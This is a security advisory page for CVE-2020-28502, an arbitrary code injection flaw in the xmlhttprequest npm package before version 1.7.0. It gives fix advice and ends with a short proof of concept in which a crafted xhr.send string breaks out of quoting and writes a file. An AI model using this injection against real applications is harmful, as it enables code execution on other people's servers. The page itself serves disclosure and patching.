Arbitrary Code Injection Affecting xmlhttprequest package, versions <1.7.0
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-XMLHTTPREQUEST-1082935
- published 5 Mar 2021
- disclosed 5 Mar 2021
- credit rinsuki
Introduced: 5 Mar 2021
CVE-2020-28502 Open this link in a new tabHow to fix?
Upgrade xmlhttprequest
to version 1.7.0 or higher.
Overview
xmlhttprequest is a wrapper for the built-in http client to emulate the browser XMLHttpRequest object.
Affected versions of this package are vulnerable to Arbitrary Code Injection. Provided requests are sent synchronously (async=False
on xhr.open
), malicious user input flowing into xhr.send
could result in arbitrary code being injected and run.
POC
const { XMLHttpRequest } = require("xmlhttprequest")
const xhr = new XMLHttpRequest()
xhr.open("POST", "http://localhost.invalid/", false /* use synchronize request */)
xhr.send("\');require("fs").writeFileSync("/tmp/aaaaa.txt", "poc-20210306");req.end();//")